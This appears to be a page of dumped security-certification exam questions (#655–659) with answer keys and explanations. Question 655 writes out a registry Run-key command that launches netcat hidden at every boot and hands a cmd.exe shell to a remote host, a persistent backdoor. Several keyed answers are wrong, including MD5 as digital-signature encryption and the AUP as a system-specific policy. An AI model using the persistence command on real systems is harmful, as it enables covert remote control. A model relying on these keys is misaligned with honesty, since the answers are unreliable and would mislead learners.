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NEW QUESTION # 655 
You run the following command on the remote Windows server 2003 computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444
-e
cmd.exe"
What task do you want to perform by running this command?Each correct answer represents a complete solution. Choose all that
apply.

A. You want to perform banner grabbing.
B. You want to add the Netcat command to the Windows registry.
C. You want to put Netcat in the stealth mode.
D. You want to set the Netcat to execute command any time.

Answer: B,C,D

Explanation:
According to the question, you run the following command on the remote Windows server 2003
computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe"
By running this command, you want to perform the following tasks:
Adding the NetCat command in the following registry value:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute
command at any time by using the -e switch.
Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host>
<port>.

NEW QUESTION # 656 
Which of the following encryption techniques do digital signatures use?

A. Blowfish
B. IDEA
C. MD5
D. RSA

Answer: C

NEW QUESTION # 657 
If Myron, head of network defense at Cyberdyne, wants to change the default password policy settings on the company's Linux
systems, which directory should he access?

A. /etc/logrotate.conf
B. /etc/login.defs
C. /etc/crontab
D. /etc/hosts.allow

Answer: B

Explanation:
The /etc/login.defs file in Linux systems contains the configuration for user login settings, which includes the default password policy
settings. This file is used to control several aspects of user management, including password requirements such as password aging,
password length, and password complexity. When the head of network defense, like Myron, wants to change these settings, he
would access and modify the /etc/login.defs file to implement the new password policies across the company's Linux systems.
References: The explanation is based on standard Linux system documentation and best practices for user password policy
management. The Red Hat Enterprise Linux documentation provides detailed information on defining password policies, which is
applicable to other Linux distributions as well1. Additionally, resources like OSTechNix's guide on setting password policies in Linux
corroborate the use of /etc/login.defs for this purpose2.



NEW QUESTION # 658 
James is working as a Network Administrator in a reputed company situated in California. He is monitoring his network traffic with
the help of Wireshark. He wants to check and analyze the traffic against a PING sweep attack. Which of the following Wireshark
filters will he use?

A. icmp.type==8 and icmp.type==0
B. Icmp.type==0 and icmp.type==16
C. Icmp.type==8 or icmp.type==16
D. icmp.type==8 or icmp.type==0

Answer: D

NEW QUESTION # 659 
Assume that you are a network administrator and the company has asked you to draft an Acceptable Use Policy (AUP) for
employees. Under which category of an information security policy does AUP fall into?

A. Issue Specific Security Policy (ISSP)
B. Enterprise Information Security Policy (EISP)
C. System Specific Security Policy (SSSP)
D. Incident Response Policy (IRP)

Answer: C
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